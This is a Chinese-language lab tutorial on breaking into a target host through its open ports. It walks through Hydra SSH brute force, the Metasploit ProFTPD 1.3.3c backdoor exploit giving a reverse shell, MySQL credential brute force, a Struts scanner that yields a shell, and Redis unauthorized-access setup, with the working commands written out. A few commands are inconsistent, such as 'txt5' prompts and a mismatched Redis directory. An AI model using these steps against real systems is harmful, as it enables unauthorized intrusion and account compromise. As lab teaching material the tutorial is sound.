端口漏洞利用
当我们渗透一个网站时发现从网站渗透不进去的时候,就可以查看该网站主机开启了哪些端口,来从其开启的端口来进行入侵
一旦端口开放的话就可以从外部访问,操作系统都有或多或少的漏洞,特殊的请求或者指令触发之后就可以提升权限
实验环境
同一网段的两台主机:
入侵主机:kali
目标主机ip:192.168.31.69
使用kali和它本身自带的一些工具对受害主机进行入侵
先利用nmap对受害主机进行扫描查看其开启了哪些端口和服务
访问该ip发现80端口是一个phpinfo页面,无法利用80端口入侵
所以我们开始尝试从其他端口入侵该主机
22端口漏洞利用
发现其开启了22端口,22端口是SSH远程登录协议。最有可能利用的是弱口令的入侵。
使用kali自带hydra来进行暴力破解22端口
暴力破解ssh命令:
hydra -L /root/桌面/username.txt -P /root/桌面/password.txt -vV -o ssh.log -e ns -f 192.168.31.69 ssh
参数详解:
-L //暴力破解用户名字典
-P //暴力破解密码字典
-o ssh.log //输出到这个文件里
-vV //显示过程
-f //搜到账号密码就停止
经过一段时间的等待发现功夫不负有心人,还真破解出了22端口的登录账号密码
然后我们就可以使用破解出来的账号密码成功利用22端口远程登录主机并且发现是root权限
21端口漏洞利用
通过nmap扫描知道21端口开启的ftp版本是ProFTPD 1.3.3c,百度发现ProFTPD 1.3.3c有个后门命令执行漏洞
启动msfconsole
搜索ProFTPD 1.3.3c查看其漏洞模块
search ProFTPD 1.3.3c
切换到该漏洞模块下,并设置好目标ip
use exploit/unix/ftp/proftpd_133c_backdoor
set RHOSTS 192.168.31.69
run
成功反弹shell会话
3306端口漏洞利用
发现该主机还开启了3306端口,那么我们如何利用3306端口入侵目标主机呢?
3306端口是MySQL的默认端口,入侵者可以通过入侵3306端口来入侵我们的主机,在Metasploitable系统中,Mysql的身份认证存在漏洞,这个漏洞可以让攻击者不必提供正确的身份证书便可访问Mysql数据库
启动msfconsole
扫描mysql模块
msf5 > search mysql
选择MySQL可用模块,在模块中选择渗透工具模块进行攻击
这里我们切换到mysql扫描模块,设置模块有效选项
msf5 > use auxiliary/scanner/mysql/mysql_login
msf5 auxiliary(scanner/mysql/mysql_login) > set RHOSTS 192.168.31.69 #设置目标ip
txt5 auxiliary(scanner/mysql/mysql_login) > set USER_FILE /root/桌面/username.txt #设置用户名字典
txt5 auxiliary(scanner/mysql/mysql_login) > set PASS_FILE /root/桌面/password.txt #设置密码字典
msf5 auxiliary(scanner/mysql/mysql_login) > set STOP_ON_SUCCESS true #破解成功时停止
msf5 auxiliary(scanner/mysql/mysql_login) >run #开始爆破
成功爆破出MySQL用户名密码
利用爆破出的账号密码成功登录MySQL数据库
8080端口入侵
发现8080端口有一个网站Struts,百度发现Struts可以使用Struts Scan工具获得指定漏洞交互式shell
下载Struts Scan解压,并切换到struts-scan-master目录下
执行root@kali:~/桌面/struts-scan-master# python struts-scan.py
出现如下界面则安装成功
使用给出的指定漏洞交互shell执行payload
成功获得交互式shell
6379端口漏洞入侵
该主机还开启了6379端口,发现6379端口可以利用Redis未授权访问漏洞来入侵
在本地下载Redis并解压安装
wget http://download.redis.io/releases/redis-4.0.8.tar.gz
tar xzf redis-4.0.8.tar.gz
cd redis-3.2.0
make
修改配置文件,使可以远程访问
在bind 127.0.0.1前面加上#将其注释掉
把protected-mode后面的yes设为no
启动redis-server
./src/redis-server redis.conf
如果报错执行下列命令
cd /root/redis-4.0.8/src
然后连接redis发现成功连接